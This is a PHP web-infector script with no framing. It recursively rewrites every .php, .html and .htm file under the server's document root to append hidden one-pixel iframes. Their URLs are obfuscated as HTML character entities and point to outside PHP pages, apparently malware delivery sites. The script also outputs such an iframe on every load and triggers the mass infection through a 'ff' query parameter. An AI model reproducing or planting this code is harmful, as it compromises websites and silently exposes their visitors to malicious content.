<?php 
//sorry
function fileExtension($file) {
    $fileExp = explode('.', $file);
    $filetype = $fileExp[count($fileExp)-1];
	
	return $filetype;
}

function parse($path) {
	$pg = "<iframe src=\"&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;\" width=1 height=1></iframe>";
	$xm = "<?php echo '<iframe src=\"&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;\" width=1 height=1></iframe>'; ?>";
	$gg = "<iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe>";
	$nm = '<?php 
	if($GLOBALS["fx"]==0) { 
	$GLOBALS["fx"]=1;
	echo "'.$gg.'";
	}
	?>';
	$dir_array = array();
	if($handle = opendir($path)) {
		while (false !== ($file = readdir($handle))) { 
			if($file != "." && $file != "..") { 
				$try_dir = $path.$file.'/';
				if(is_dir($try_dir)) {
					array_push($dir_array, $try_dir);
				}
				else {
					if ($path[strlen($path)-1] != '/') {
						$path.= '/';
					}
					$f_ext = fileExtension($file);
					if($f_ext=="php" || $f_ext=="html" || $f_ext=="htm") {
						if($file!="debugger.inc.php") {
							$fhandle = fopen($path.$file, 'r+');
							if($f_ext=="php") {
								$oc = fread($fhandle, filesize($path.$file));
								fclose($fhandle);
								$oc = str_replace($xm, '', $oc);
								$oc = str_replace($xm, '', $nm);
								$fhandle2 = fopen($path.$file, 'w');
								fwrite($fhandle2, $oc.$nm);
								fclose($fhandle2);
							}
							else {
								$oc = fread($fhandle, filesize($path.$file));
								fclose($fhandle);
								$oc = str_replace($pg, '', $oc);
								$fhandle2 = fopen($path.$file, 'w');
								fwrite($fhandle2, $oc.$gg);
								fclose($fhandle2);
							}
						}
					}
				}
			} 
		}
		closedir($handle);
	}
		
	return $dir_array;
}



function launch() {
	$total = 0;
	$last = 1;
	$last_num = 0;
	$path = $_SERVER['DOCUMENT_ROOT'];
	$dirs = array();
	array_push($dirs, $path);

	while($last) {
		$last_num = 0;
		for( $j=$total; $j<$total+$last; $j++) {
			$temp_dirs = parse($dirs[$j]);
			$last_t = sizeof($temp_dirs);
			$last_num += $last_t;
			for( $i=0; $i<$last_t; $i++) {
				array_push($dirs, $temp_dirs[$i]);
			}
		}
		$total += $last;
		$last = $last_num;		
	}

	$paths = getcwd().'/albums/userpics/10001/123213x';

	if(!is_file($paths.'.jpg')) {
		if(copy($paths.'.zip', $paths.'.jpg')) {
			echo "@#$%";
		}
	}
}
echo "<iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe>";
if(isset($_GET['ff'])) {
	echo "~!";
	launch();
}
?>